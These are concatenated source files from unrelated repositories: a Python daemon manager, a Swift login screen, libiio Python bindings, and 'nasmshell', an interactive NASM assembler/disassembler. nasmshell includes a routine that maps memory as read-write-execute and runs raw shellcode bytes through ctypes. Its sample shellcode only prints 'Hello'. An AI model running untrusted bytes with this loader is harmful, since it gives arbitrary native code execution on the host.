self.pidfile, self.config["waitstart"], ExpectedOutcome.PROCESS_RUNNING ) if status is False: self.logger.critical("Command failed -- exiting") sys.exit(1) # Reset the main_pid to ensure that we refresh the process information main_pid = None except queue.Empty: # No new signals pass # Update pid and proc variables of the main process for the checker if needed if main_pid is None: main_pid = int(self.load_text(self.pidfile).strip()) main_proc = None if main_proc is None: main_proc = self.get_process(main_pid) # Here we check that our main process is still running if self.is_proc_running(main_proc) is False: self.logger.critical("Process exited unexpectedly") sys.exit(1) except (KeyboardInterrupt, StartExit) as e: # We'll break out ouf the loop and continue with the soft exit procedure self.logger.info("Start exit procedure") if isinstance(e, StartExit): stopcmd = e.cmd elif "stopcmd" in self.config: stopcmd = self.config["stopcmd"] # Exit process; exit zero if all is ok and 1 if not status = self.run_cmd_and_wait( stopcmd, self.pidfile, self.config["waitstop"], ExpectedOutcome.PROCESS_STOPPED ) if status is False: self.logger.critical("Failed to end the process -- exiting") if main_proc is not None: main_proc.send_signal(signal.SIGTERM) sys.exit(1) # Process ended ok self.logger.info("Done.") return ###################################################### def usage(): print("USAGE: python3 dmgr.py [-h|--help] \\") print(" -n|--name <main-process-name> \\") print(" -p|--pidfile <path-to-pidfile> \\") print(" -c|--cmdstart <start-command> \\") print(" -C|--cmdstop <stop-command> \\") print(" [-w|--waitstart <seconds-to-wait-for-process-to-start>] \\") print(" [-W|--waitstop <seconds-to-wait-for-process-to-stop>] \\") print(" [-s|--signalcmds <SIGNAL1=\"command,parameter1,parameter2\";...;SIGNALn=\"...\">] \\") print(" [-S|--passthrough <SIGNAL1[=OTHERSIGNAL];..;SIGNALn>]") sys.exit(1) def main(argv): parameters = [ Parameter("name", str, "processname"), Parameter("cmdstart", str, "startcmd", short_name='c'), Parameter("cmdstop", str, "stopcmd", short_name='C'), Parameter("waitstart", int, "waitstart", short_name='w', default=10), Parameter("waitstop", int, "waitstop", short_name='W', default=10), Parameter("pidfile", str, "pidfile"), Parameter("signalcmds", str, "signals"), Parameter("passthrough", str, "passthrough", short_name='S'), Parameter("help", Parameter.flag, "help"), Parameter("loglevel", str, "loglevel", default='INFO') ] opt = Options(parameters, argv, "dmgr") config = opt.eval() if config["help"] is True: usage() required = [ "processname", "startcmd", "pidfile" ] for x in required: if x not in config: usage() logging.basicConfig(format="%(asctime)-15s %(name)s %(levelname)s %(message)s") logger = logging.getLogger("dmgr") logger.setLevel(config["loglevel"]) import os if os.path.exists("/dev/log"): handler = logging.handlers.SysLogHandler(address="/dev/log") logger.addHandler(handler) o = DaemonManager(config, logger) o.run() # If all is well, we'll end with exit code 0 if __name__ == "__main__": main(sys.argv[1:])
8e2798839172c9b6d5ec83a04e8b737de94a78e5
[ "Markdown", "Python", "Shell" ]
3
Markdown
anttin/dmgr
99d64a86e92b0ae2ad5a48985e4c51702802a672
9daa84cd239fa588e9c57e5a7a1f6498de2b7f9c
refs/heads/master
<file_sep>// // CatRegisterAccountViewController.swift // LoginApp // // Created by <NAME> on 1/23/19. // Copyright © 2019 Johansson Group. All rights reserved. // import UIKit class CatRegisterAccountViewController: UIViewController { override func viewDidLoad() { super.viewDidLoad() NotificationCenter.default.addObserver(forName: UIResponder.keyboardWillShowNotification, object: nil, queue: nil) {nc in self.view.frame.origin.y = -200} NotificationCenter.default.addObserver(forName: UIResponder.keyboardWillHideNotification, object: nil, queue: nil) {nc in self.view.frame.origin.y = 0} emailTextField.delegate = self passwordTextField.delegate = self } @IBOutlet weak var emailTextField: UITextField! @IBOutlet weak var passwordTextField: UITextField! @IBAction func registerCatAccountButton(_ sender: UIButton) { } /* // MARK: - Navigation // In a storyboard-based application, you will often want to do a little preparation before navigation override func prepare(for segue: UIStoryboardSegue, sender: Any?) { // Get the new view controller using segue.destination. // Pass the selected object to the new view controller. } */ } extension CatRegisterAccountViewController: UITextFieldDelegate { func textFieldShouldReturn(_ textField: UITextField) -> Bool { if textField == emailTextField || textField == passwordTextField { self.emailTextField.resignFirstResponder() self.passwordTextField.resignFirstResponder() } return true } func textFieldDidEndEditing(_ textField: UITextField) { if String.matches("^[a-zA-Z0-9._-]{1,30}$") { print("Check imput") } } } extension String { func matches(_ regex: String) -> Bool { return self.range(of: regex, options: .regularExpression, range: nil, locale: nil) != nil } }
00204877642cb3a11ec85304dec613c8c9b96908
[ "Swift" ]
1
Swift
Insteration/LoginApp
d063bf5561d764c4c47ab9a64eec2d4c19abcf17
1ba14240599deacc5d638681c77dfaefa7874d41
refs/heads/master
<repo_name>xvk3/nasmshell<file_sep>/README.md # nasmshell ## TODO: - [ ] Check if NASM is installed - [ ] Add "exec" function to assemble and execute instructions - [ ] Get return value of the shellcode ## commands 1. **as, assemble** - set to assembly mode 2. **ds, disas** - set to disassembly mode 3. **bits** - set bits (32 or 64) 4. **test** - runs the test shellcode 5. **exit, quit** - exit shell ## examples ### assembling ``` $ nasmshell nasm> push eax 50 push eax nasm> push eax ; retn 4 50 push eax C20400 ret 0x4 nasm> push eax ; call [eax+1ch] 50 push eax FF501C call dword [eax+0x1c] nasm> inc ecx; loop: push eax; push ebx; jmp loop 41 inc ecx 50 push eax 53 push ebx EBFC jmp short 0x1 nasm> times 3 movsb A4 movsb A4 movsb A4 movsb ``` ### disassembling ``` nasm> disas disas mode ndisasm> 50ff501c 50 push eax FF501C call dword [eax+0x1c] ndisasm> 4141414141414141 41 inc ecx 41 inc ecx 41 inc ecx 41 inc ecx 41 inc ecx 41 inc ecx 41 inc ecx 41 inc ecx ``` ### x86-64 ``` ndisasm> bits 64 ndisasm> as assemble mode nasm> push rax 50 push rax nasm> push rax ; push rbx 50 push rax 53 push rbx nasm> jmp pastsym; sym: db 0x11,0x01,0x11,0xff; pastsym: lea rax, [rel sym] EB04 jmp short 0x6 1101 adc [rcx],eax 11FF adc edi,edi 488D05F5FFFFFF lea rax,[rel 0x2] ``` <file_sep>/nasmshell.py #!/usr/bin/env python3 import os import sys import mmap import ctypes import subprocess import tempfile import readline import cmd def string_to_bytes(string, charset='latin-1'): if(isinstance(string, bytes) and not isinstance(string, str)): return (string) else: return bytes(string, charset) def execute_shellcode(shellcode_str): print(f"shellocde_str={shellcode_str}") shellcode_bytes = string_to_bytes(shellcode_str) print(f"shellcode_bytes={shellcode_bytes}") # Allocate memory with a RWX private anonymous mmap exec_mem = mmap.mmap(-1, len(shellcode_bytes), prot = mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC, flags = mmap.MAP_ANONYMOUS | mmap.MAP_PRIVATE) print(f"memory address={exec_mem}") # Copy shellcode from bytes object to executable memory exec_mem.write(shellcode_bytes) # Cast to the memory to a C function object ctypes_buffer = ctypes.c_int.from_buffer(exec_mem) function = ctypes.CFUNCTYPE( ctypes.c_int64 )(ctypes.addressof(ctypes_buffer)) function._avoid_gc_for_mmap = exec_mem print(f"function={function}") # Return pointer to shell code function in executable memory return function class NasmException(Exception): def __init__(self, retcode, msg): self.retcode = retcode self.msg = msg.strip() Exception.__init__(self, msg.strip()) def parse_nasm_err(errstr): return errstr.split(' ', 1)[1] def assemble_to_file(asmfile, binfile): proc = subprocess.Popen(["nasm", "-fbin", "-o", binfile, asmfile], stdout=subprocess.PIPE, stderr=subprocess.PIPE) buf_out, buf_err = proc.communicate() buf_err = buf_err.decode() if proc.returncode != 0: raise NasmException(proc.returncode, parse_nasm_err(buf_err)) def parse_disassembly(disas): cur_opcodes = '' cur_disas = '' s = '' for line in disas.splitlines(): line = line.strip() if len(line) > 0: # break out the elements of the line elems = line.split(None, 2) if len(elems) == 3: # starts a new instruction, append previous and clear our state if len(cur_opcodes) > 0: s += "%-24s %s\n" % (cur_opcodes, cur_disas) cur_opcodes = '' # offset, opcodes, disas-text cur_disas = elems[2] cur_opcodes = elems[1] elif len(elems) == 1 and elems[0][0] == '-': # continuation cur_opcodes += elems[0][1:] # append last instruction if len(cur_opcodes) > 0: s += "%-24s %s" % (cur_opcodes, cur_disas) return s def reduce_disassembly(disas): cur_opcodes = '' for line in disas.splitlines(): cur_opcodes += line.split(" ", 1)[0] print(f"cur_opcodes={cur_opcodes}") fmt_opcodes = bytes.fromhex(cur_opcodes) fm2_opcodes = string_to_bytes(cur_opcodes) print(f"fm_opcodes ={fm_opcodes}") print(f"fm2_opcodes={fm2_opcodes}") return fmt_opcodes def disassemble_file(binfile, bits): proc = subprocess.Popen(["ndisasm", "-b%u"%(bits), binfile], stdout=subprocess.PIPE, stderr=subprocess.PIPE) buf_out, buf_err = proc.communicate() buf_out = buf_out.decode(); buf_err = buf_err.decode(); if proc.returncode != 0: raise NasmException(proc.returncode, buf_err) else: return parse_disassembly(buf_out) def disassemble(machine_code, bits): binfile = None binfd = None try: binfd, binfile = tempfile.mkstemp() os.write(binfd, machine_code) os.close(binfd) print(disassemble_file(binfile, bits)) finally: if binfile: os.unlink(binfile) def assemble(asm, bits): asmfile = None asmfd = None binfile = None try: asmfd, asmfile = tempfile.mkstemp() os.write(asmfd, b"[BITS %u]\n_start:\n"%(bits)) os.write(asmfd, asm.encode()) os.write(asmfd, b"\n") os.close(asmfd) binfile = asmfile + ".bin" assemble_to_file(asmfile, binfile) disasm_res = disassemble_file(binfile, bits) finally: if asmfile: os.unlink(asmfile) if binfile and os.path.exists(binfile): os.unlink(binfile) return disasm_res class NasmShell(cmd.Cmd): def __init__(self, bits=32): cmd.Cmd.__init__(self) self.bits = bits self.disas_mode = False self.exec_mode = False self.disas_prompt = "ndisasm> " self.assemble_prompt = "nasm> " self.exec_prompt = "nasm (exec)> " self.prompt = self.assemble_prompt if self.bits not in [32, 64]: raise NasmException(0, 'must be 32 or 64 bits') def do_bits(self, bits): '''bits [32,64].\nUsed to set the architecture.\nWhen run without argument, prints the current architecture.''' if not bits or len(bits) == 0: print('%u' % (self.bits)) else: if bits not in ['32','64']: print('error: must be either 32 or 64') else: self.bits = int(bits) def do_disas(self, *args): '''set disassemble mode. Input following should be hexidecimal characters.''' self.disas_mode = True self.prompt = self.disas_prompt print("disas mode") def do_ds(self, *args): '''an alias for disassemble mode''' self.do_disas(self) def do_assemble(self, *args): '''set assemble mode. Input following should be instructions.''' self.disas_mode = False self.prompt = self.assemble_prompt print("assemble mode") def do_as(self, *args): '''an alias for assemble mode''' self.do_assemble(self) def do_exec(self, *args): '''set assemble and exec mode''' self.disas_mode = False self.exec_mode = True self.prompt = self.exec_prompt print("assemble (exec) mode") def do_test(self, *args): self.args = b"\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x8d\x35\x13\x00\x00\x00\xba\x06\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\x48\x65\x6c\x6c\x6f\x0a" execute_shellcode(self.args)() def do_quit(self, *args): '''quit the program''' return True def do_exit(self, *args): '''an alias for quit''' return self.do_quit(self, args) def default(self, line): print(f"DEBUG: line={line}") if line == 'EOF': return True else: try: if self.disas_mode: disassemble(bytes.fromhex(''.join(line.split())), self.bits) else: raw = assemble(line.replace(';','\n'), self.bits) print(raw) if self.exec_mode: print("attempting to execute shellcode") execute_shellcode(reduce_disassembly(raw))() except NasmException as ne: print(ne) except TypeError as te: print (te) #except ValueError as ve: #print ("An even number of hexidecimal digits must appear in byte/opcode") # print(f"ValueError: {ve}") bits = 32 if len(sys.argv) > 1: bits = int(sys.argv[1]) shell = NasmShell(bits) shell.cmdloop() # prompt should go below this... print("")
9b82417c09a20112dc91eb9779cad5b90c25271e
[ "Markdown", "Python" ]
2
Markdown
xvk3/nasmshell
69818f5f98f1f821ef49c5a7739c9e2f26f0fd1f
36754d83f0b53b2ca44531d2396463ca25f54b42
refs/heads/master
<repo_name>amin3vdc/RedPitaya<file_sep>/jupyter/experiments/iio.py #!/usr/bin/env python # # Copyright (C) 2014 Analog Devices, Inc. # Author: <NAME> <<EMAIL>> # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. from ctypes import Structure, c_char_p, c_uint, c_int, c_size_t, \ c_ssize_t, c_char, c_void_p, c_bool, create_string_buffer, \ POINTER as _POINTER, CDLL as _cdll, memmove as _memmove, byref as _byref from os import strerror as _strerror from platform import system as _system import weakref if 'Windows' in _system(): from ctypes import get_last_error else: from ctypes import get_errno def _checkNull(result, func, arguments): if result: return result else: err = get_last_error() if 'Windows' in _system() else get_errno() raise OSError(err, _strerror(err)) def _checkNegative(result, func, arguments): if result >= 0: return result else: raise OSError(-result, _strerror(-result)) class _ScanContext(Structure): pass class _ContextInfo(Structure): pass class _Context(Structure): pass class _Device(Structure): pass class _Channel(Structure): pass class _Buffer(Structure): pass _ScanContextPtr = _POINTER(_ScanContext) _ContextInfoPtr = _POINTER(_ContextInfo) _ContextPtr = _POINTER(_Context) _DevicePtr = _POINTER(_Device) _ChannelPtr = _POINTER(_Channel) _BufferPtr = _POINTER(_Buffer) _lib = _cdll('libiio.dll' if 'Windows' in _system() else 'libiio.so.0', use_errno = True, use_last_error = True) _create_scan_context = _lib.iio_create_scan_context _create_scan_context.argtypes = (c_char_p, c_uint) _create_scan_context.restype = _ScanContextPtr _create_scan_context.errcheck = _checkNull _destroy_scan_context = _lib.iio_scan_context_destroy _destroy_scan_context.argtypes = (_ScanContextPtr, ) _get_context_info_list = _lib.iio_scan_context_get_info_list _get_context_info_list.argtypes = (_ScanContextPtr, _POINTER(_POINTER(_ContextInfoPtr))) _get_context_info_list.restype = c_ssize_t _get_context_info_list.errcheck = _checkNegative _context_info_list_free = _lib.iio_context_info_list_free _context_info_list_free.argtypes = (_POINTER(_ContextInfoPtr), ) _context_info_get_description = _lib.iio_context_info_get_description _context_info_get_description.argtypes = (_ContextInfoPtr, ) _context_info_get_description.restype = c_char_p _context_info_get_uri = _lib.iio_context_info_get_uri _context_info_get_uri.argtypes = (_ContextInfoPtr, ) _context_info_get_uri.restype = c_char_p _new_local = _lib.iio_create_local_context _new_local.restype = _ContextPtr _new_local.errcheck = _checkNull _new_xml = _lib.iio_create_xml_context _new_xml.restype = _ContextPtr _new_xml.argtypes = (c_char_p, ) _new_xml.errcheck = _checkNull _new_network = _lib.iio_create_network_context _new_network.restype = _ContextPtr _new_network.argtypes = (c_char_p, ) _new_network.errcheck = _checkNull _new_default = _lib.iio_create_default_context _new_default.restype = _ContextPtr _new_default.errcheck = _checkNull _new_uri = _lib.iio_create_context_from_uri _new_uri.restype = _ContextPtr _new_uri.errcheck = _checkNull _destroy = _lib.iio_context_destroy _destroy.argtypes = (_ContextPtr, ) _get_name = _lib.iio_context_get_name _get_name.restype = c_char_p _get_name.argtypes = (_ContextPtr, ) _get_name.errcheck = _checkNull _get_description = _lib.iio_context_get_description _get_description.restype = c_char_p _get_description.argtypes = (_ContextPtr, ) _get_xml = _lib.iio_context_get_xml _get_xml.restype = c_char_p _get_xml.argtypes = (_ContextPtr, ) _get_library_version = _lib.iio_library_get_version _get_library_version.argtypes = (_POINTER(c_uint), _POINTER(c_uint), c_char_p, ) _get_version = _lib.iio_context_get_version _get_version.restype = c_int _get_version.argtypes = (_ContextPtr, _POINTER(c_uint), _POINTER(c_uint), c_char_p, ) _get_version.errcheck = _checkNegative _devices_count = _lib.iio_context_get_devices_count _devices_count.restype = c_uint _devices_count.argtypes = (_ContextPtr, ) _get_device = _lib.iio_context_get_device _get_device.restype = _DevicePtr _get_device.argtypes = (_ContextPtr, c_uint) _get_device.errcheck = _checkNull _set_timeout = _lib.iio_context_set_timeout _set_timeout.restype = c_int _set_timeout.argtypes = (_ContextPtr, c_uint, ) _set_timeout.errcheck = _checkNegative _clone = _lib.iio_context_clone _clone.restype = _ContextPtr _clone.argtypes = (_ContextPtr, ) _clone.errcheck = _checkNull _d_get_id = _lib.iio_device_get_id _d_get_id.restype = c_char_p _d_get_id.argtypes = (_DevicePtr, ) _d_get_id.errcheck = _checkNull _d_get_name = _lib.iio_device_get_name _d_get_name.restype = c_char_p _d_get_name.argtypes = (_DevicePtr, ) _d_attr_count = _lib.iio_device_get_attrs_count _d_attr_count.restype = c_uint _d_attr_count.argtypes = (_DevicePtr, ) _d_get_attr = _lib.iio_device_get_attr _d_get_attr.restype = c_char_p _d_get_attr.argtypes = (_DevicePtr, ) _d_get_attr.errcheck = _checkNull _d_read_attr = _lib.iio_device_attr_read _d_read_attr.restype = c_ssize_t _d_read_attr.argtypes = (_DevicePtr, c_char_p, c_char_p, c_size_t) _d_read_attr.errcheck = _checkNegative _d_write_attr = _lib.iio_device_attr_write _d_write_attr.restype = c_ssize_t _d_write_attr.argtypes = (_DevicePtr, c_char_p, c_char_p) _d_write_attr.errcheck = _checkNegative _d_debug_attr_count = _lib.iio_device_get_debug_attrs_count _d_debug_attr_count.restype = c_uint _d_debug_attr_count.argtypes = (_DevicePtr, ) _d_get_debug_attr = _lib.iio_device_get_debug_attr _d_get_debug_attr.restype = c_char_p _d_get_debug_attr.argtypes = (_DevicePtr, ) _d_get_debug_attr.errcheck = _checkNull _d_read_debug_attr = _lib.iio_device_debug_attr_read _d_read_debug_attr.restype = c_ssize_t _d_read_debug_attr.argtypes = (_DevicePtr, c_char_p, c_char_p, c_size_t) _d_read_debug_attr.errcheck = _checkNegative _d_write_debug_attr = _lib.iio_device_debug_attr_write _d_write_debug_attr.restype = c_ssize_t _d_write_debug_attr.argtypes = (_DevicePtr, c_char_p, c_char_p) _d_write_debug_attr.errcheck = _checkNegative _d_reg_write = _lib.iio_device_reg_write _d_reg_write.restype = c_int _d_reg_write.argtypes = (_DevicePtr, c_uint, c_uint) _d_reg_write.errcheck = _checkNegative _d_reg_read = _lib.iio_device_reg_read _d_reg_read.restype = c_int _d_reg_read.argtypes = (_DevicePtr, c_uint, _POINTER(c_uint)) _d_reg_read.errcheck = _checkNegative _channels_count = _lib.iio_device_get_channels_count _channels_count.restype = c_uint _channels_count.argtypes = (_DevicePtr, ) _get_channel = _lib.iio_device_get_channel _get_channel.restype = _ChannelPtr _get_channel.argtypes = (_DevicePtr, c_uint) _get_channel.errcheck = _checkNull _get_sample_size = _lib.iio_device_get_sample_size _get_sample_size.restype = c_int _get_sample_size.argtypes = (_DevicePtr, ) _get_sample_size.errcheck = _checkNegative _d_is_trigger = _lib.iio_device_is_trigger _d_is_trigger.restype = c_bool _d_is_trigger.argtypes = (_DevicePtr, ) _d_get_trigger = _lib.iio_device_get_trigger _d_get_trigger.restype = c_int _d_get_trigger.argtypes = (_DevicePtr, _DevicePtr, ) _d_get_trigger.errcheck = _checkNegative _d_set_trigger = _lib.iio_device_set_trigger _d_set_trigger.restype = c_int _d_set_trigger.argtypes = (_DevicePtr, _DevicePtr, ) _d_set_trigger.errcheck = _checkNegative _d_set_buffers_count = _lib.iio_device_set_kernel_buffers_count _d_set_buffers_count.restype = c_int _d_set_buffers_count.argtypes = (_DevicePtr, c_uint) _d_set_buffers_count.errcheck = _checkNegative _c_get_id = _lib.iio_channel_get_id _c_get_id.restype = c_char_p _c_get_id.argtypes = (_ChannelPtr, ) _c_get_id.errcheck = _checkNull _c_get_name = _lib.iio_channel_get_name _c_get_name.restype = c_char_p _c_get_name.argtypes = (_ChannelPtr, ) _c_is_output = _lib.iio_channel_is_output _c_is_output.restype = c_bool _c_is_output.argtypes = (_ChannelPtr, ) _c_is_scan_element = _lib.iio_channel_is_scan_element _c_is_scan_element.restype = c_bool _c_is_scan_element.argtypes = (_ChannelPtr, ) _c_attr_count = _lib.iio_channel_get_attrs_count _c_attr_count.restype = c_uint _c_attr_count.argtypes = (_ChannelPtr, ) _c_get_attr = _lib.iio_channel_get_attr _c_get_attr.restype = c_char_p _c_get_attr.argtypes = (_ChannelPtr, ) _c_get_attr.errcheck = _checkNull _c_get_filename = _lib.iio_channel_attr_get_filename _c_get_filename.restype = c_char_p _c_get_filename.argtypes = (_ChannelPtr, c_char_p, ) _c_get_filename.errcheck = _checkNull _c_read_attr = _lib.iio_channel_attr_read _c_read_attr.restype = c_ssize_t _c_read_attr.argtypes = (_ChannelPtr, c_char_p, c_char_p, c_size_t) _c_read_attr.errcheck = _checkNegative _c_write_attr = _lib.iio_channel_attr_write _c_write_attr.restype = c_ssize_t _c_write_attr.argtypes = (_ChannelPtr, c_char_p, c_char_p) _c_write_attr.errcheck = _checkNegative _c_enable = _lib.iio_channel_enable _c_enable.argtypes = (_ChannelPtr, ) _c_disable = _lib.iio_channel_disable _c_disable.argtypes = (_ChannelPtr, ) _c_is_enabled = _lib.iio_channel_is_enabled _c_is_enabled.restype = c_bool _c_is_enabled.argtypes = (_ChannelPtr, ) _c_read = _lib.iio_channel_read _c_read.restype = c_ssize_t _c_read.argtypes = (_ChannelPtr, _BufferPtr, c_void_p, c_size_t, ) _c_read_raw = _lib.iio_channel_read_raw _c_read_raw.restype = c_ssize_t _c_read_raw.argtypes = (_ChannelPtr, _BufferPtr, c_void_p, c_size_t, ) _c_write = _lib.iio_channel_write _c_write.restype = c_ssize_t _c_write.argtypes = (_ChannelPtr, _BufferPtr, c_void_p, c_size_t, ) _c_write_raw = _lib.iio_channel_write_raw _c_write_raw.restype = c_ssize_t _c_write_raw.argtypes = (_ChannelPtr, _BufferPtr, c_void_p, c_size_t, ) _create_buffer = _lib.iio_device_create_buffer _create_buffer.restype = _BufferPtr _create_buffer.argtypes = (_DevicePtr, c_size_t, c_bool, ) _create_buffer.errcheck = _checkNull _buffer_destroy = _lib.iio_buffer_destroy _buffer_destroy.argtypes = (_BufferPtr, ) _buffer_refill = _lib.iio_buffer_refill _buffer_refill.restype = c_ssize_t _buffer_refill.argtypes = (_BufferPtr, ) _buffer_refill.errcheck = _checkNegative _buffer_push_partial = _lib.iio_buffer_push_partial _buffer_push_partial.restype = c_ssize_t _buffer_push_partial.argtypes = (_BufferPtr, c_uint, ) _buffer_push_partial.errcheck = _checkNegative _buffer_start = _lib.iio_buffer_start _buffer_start.restype = c_void_p _buffer_start.argtypes = (_BufferPtr, ) _buffer_end = _lib.iio_buffer_end _buffer_end.restype = c_void_p _buffer_end.argtypes = (_BufferPtr, ) def _get_lib_version(): major = c_uint() minor = c_uint() buf = create_string_buffer(8) _get_library_version(_byref(major), _byref(minor), buf) return (major.value, minor.value, buf.value ) version = _get_lib_version() class _Attr(object): def __init__(self, name, filename = None): self._name = name self._filename = name if filename is None else filename def __str__(self): return self._name name = property(lambda self: self._name, None, None, "The name of this attribute.\n\ttype=str") filename = property(lambda self: self._filename, None, None, "The filename in sysfs to which this attribute is bound.\n\ttype=str") value = property(lambda self: self.__read(), lambda self, x: self.__write(x), None, "Current value of this attribute.\n\ttype=str") class ChannelAttr(_Attr): """Represents an attribute of a channel.""" def __init__(self, channel, name): super(ChannelAttr, self).__init__(name, _c_get_filename(channel, name)) self._channel = channel def _Attr__read(self): buf = create_string_buffer(1024) _c_read_attr(self._channel, self.name, buf, len(buf)) return buf.value def _Attr__write(self, value): _c_write_attr(self._channel, self.name, value) class DeviceAttr(_Attr): """Represents an attribute of an IIO device.""" def __init__(self, device, name): super(DeviceAttr, self).__init__(name) self._device = device def _Attr__read(self): buf = create_string_buffer(1024) _d_read_attr(self._device, self.name, buf, len(buf)) return buf.value def _Attr__write(self, value): _d_write_attr(self._device, self.name, value) class DeviceDebugAttr(DeviceAttr): """Represents a debug attribute of an IIO device.""" def __init__(self, device, name): super(DeviceDebugAttr, self).__init__(device, name) def _Attr__read(self): buf = create_string_buffer(1024) _d_read_debug_attr(self._device, self.name, buf, len(buf)) return buf.value def _Attr__write(self, value): _d_write_debug_attr(self._device, self.name, value) class Channel(object): def __init__(self, _channel): self._channel = _channel self._attrs = { name : ChannelAttr(_channel, name) for name in \ [_c_get_attr(_channel, x) for x in range(0, _c_attr_count(_channel))] } self._id = _c_get_id(self._channel) self._name = _c_get_name(self._channel) self._output = _c_is_output(self._channel) self._scan_element = _c_is_scan_element(self._channel) def read(self, buf, raw = False): """ Extract the samples corresponding to this channel from the given iio.Buffer object. parameters: buf: type=iio.Buffer A valid instance of the iio.Buffer class raw: type=bool If set to True, the samples are not converted from their native format to their host format returns: type=bytearray An array containing the samples for this channel """ array = bytearray(buf._length) mytype = c_char * len(array) c_array = mytype.from_buffer(array) if raw: length = _c_read_raw(self._channel, buf._buffer, c_array, len(array)) else: length = _c_read(self._channel, buf._buffer, c_array, len(array)) return array[:length] def write(self, buf, array, raw = False): """ Write the specified array of samples corresponding to this channel into the given iio.Buffer object. parameters: buf: type=iio.Buffer A valid instance of the iio.Buffer class array: type=bytearray The array containing the samples to copy raw: type=bool If set to True, the samples are not converted from their host format to their native format returns: type=int The number of bytes written """ mytype = c_char * len(array) c_array = mytype.from_buffer(array) if raw: return _c_write_raw(self._channel, buf._buffer, c_array, len(array)) else: return _c_write(self._channel, buf._buffer, c_array, len(array)) id = property(lambda self: self._id, None, None, "An identifier of this channel.\n\tNote that it is possible that two channels have the same ID, if one is an input channel and the other is an output channel.\n\ttype=str") name = property(lambda self: self._name, None, None, "The name of this channel.\n\ttype=str") attrs = property(lambda self: self._attrs, None, None, "List of attributes for this channel.\n\ttype=dict of iio.ChannelAttr") output = property(lambda self: self._output, None, None, "Contains True if the channel is an output channel, False otherwise.\n\ttype=bool") scan_element = property(lambda self: self._scan_element, None, None, "Contains True if the channel is a scan element, False otherwise.\n\tIf a channel is a scan element, then it is possible to enable it and use it for I/O operations.\n\ttype=bool") enabled = property(lambda self: _c_is_enabled(self._channel), \ lambda self, x: _c_enable(self._channel) if x else _c_disable(self._channel), None, "Configured state of the channel\n\ttype=bool") class Buffer(object): """The class used for all I/O operations.""" def __init__(self, device, samples_count, cyclic = False): """ Initializes a new instance of the Buffer class. parameters: device: type=iio.Device The iio.Device object that represents the device where the I/O operations will be performed samples_count: type=int The size of the buffer, in samples circular: type=bool If set to True, the buffer is circular returns: type=iio.Buffer An new instance of this class """ try: self._buffer = _create_buffer(device._device, samples_count, cyclic) except: self._buffer = None raise self._length = samples_count * device.sample_size self._samples_count = samples_count def __del__(self): if self._buffer is not None: _buffer_destroy(self._buffer) def __len__(self): """The size of this buffer, in bytes.""" return self._length def refill(self): """Fetch a new set of samples from the hardware.""" _buffer_refill(self._buffer) def push(self, samples_count = None): """ Submit the samples contained in this buffer to the hardware. parameters: samples_count: type=int The number of samples to submit, default = full buffer """ _buffer_push_partial(self._buffer, samples_count or self._samples_count) def read(self): """ Retrieve the samples contained inside the Buffer object. returns: type=bytearray An array containing the samples """ start = _buffer_start(self._buffer) end = _buffer_end(self._buffer) array = bytearray(end - start) mytype = c_char * len(array) c_array = mytype.from_buffer(array) _memmove(c_array, start, len(array)) return array def write(self, array): """ Copy the given array of samples inside the Buffer object. parameters: array: type=bytearray The array containing the samples to copy returns: type=int The number of bytes written into the buffer """ start = _buffer_start(self._buffer) end = _buffer_end(self._buffer) length = end - start if length > len(array): length = len(array) mytype = c_char * len(array) c_array = mytype.from_buffer(array) _memmove(start, c_array, length) return length class _DeviceOrTrigger(object): def __init__(self, _device): self._device = _device self._attrs = { name : DeviceAttr(_device, name) for name in \ [_d_get_attr(_device, x) for x in range(0, _d_attr_count(_device))] } self._debug_attrs = { name: DeviceDebugAttr(_device, name) for name in \ [_d_get_debug_attr(_device, x) for x in range(0, _d_debug_attr_count(_device))] } # TODO(pcercuei): Use a dictionary for the channels. chans = [ Channel(_get_channel(self._device, x)) for x in range(0, _channels_count(self._device)) ] self._channels = sorted(chans, key=lambda c: c.id) self._id = _d_get_id(self._device) self._name = _d_get_name(self._device) def reg_write(self, reg, value): """ Set a value to one register of this device. parameters: reg: type=int The register address value: type=int The value that will be used for this register """ _d_reg_write(self._device, reg, value) def reg_read(self, reg): """ Read the content of a register of this device. parameters: reg: type=int The register address returns: type=int The value of the register """ value = c_uint() _d_reg_read(self._device, reg, _byref(value)) return value.value def find_channel(self, name_or_id, is_output = False): """ Find a IIO channel by its name or ID. parameters: name_or_id: type=str The name or ID of the channel to find is_output: type=bool Set to True to search for an output channel returns: type=iio.Device or type=iio.Trigger The IIO Device """ return (filter(lambda x: (name_or_id == x.name or name_or_id == x.id) \ and x.output == is_output, self.channels) or [None])[0] def set_kernel_buffers_count(self, count): """ Set the number of kernel buffers to use with the specified device. parameters: count: type=int The number of kernel buffers """ return _d_set_buffers_count(self._device, count) @property def sample_size(self): """ Current sample size of this device. type: int The sample size varies each time channels get enabled or disabled.""" return _get_sample_size(self._device) id = property(lambda self: self._id, None, None, "An identifier of this device, only valid in this IIO context.\n\ttype=str") name = property(lambda self: self._name, None, None, "The name of this device.\n\ttype=str") attrs = property(lambda self: self._attrs, None, None, "List of attributes for this IIO device.\n\ttype=dict of iio.DeviceAttr") debug_attrs = property(lambda self: self._debug_attrs, None, None, "List of debug attributes for this IIO device.\n\ttype=dict of iio.DeviceDebugAttr") channels = property(lambda self: self._channels, None, None, "List of channels available with this IIO device.\n\ttype=list of iio.Channel objects") class Trigger(_DeviceOrTrigger): """Contains the representation of an IIO device that can act as a trigger.""" def __init__(self, _device): super(Trigger, self).__init__(_device) def _get_rate(self): return int(self._attrs['frequency'].value) def _set_rate(self, value): self._attrs['frequency'].value = str(value) frequency = property(_get_rate, _set_rate, None, "Configured frequency (in Hz) of this trigger\n\ttype=int") class Device(_DeviceOrTrigger): """Contains the representation of an IIO device.""" def __init__(self, ctx, _device): super(Device, self).__init__(_device) self.ctx = weakref.ref(ctx) def _set_trigger(self, trigger): _d_set_trigger(self._device, trigger._device if trigger else None) def _get_trigger(self): value = _Device() _d_get_trigger(self._device, _byref(value)) for dev in self.ctx()._devices: if value == dev._device: return dev return None trigger = property(_get_trigger, _set_trigger, None, \ "Contains the configured 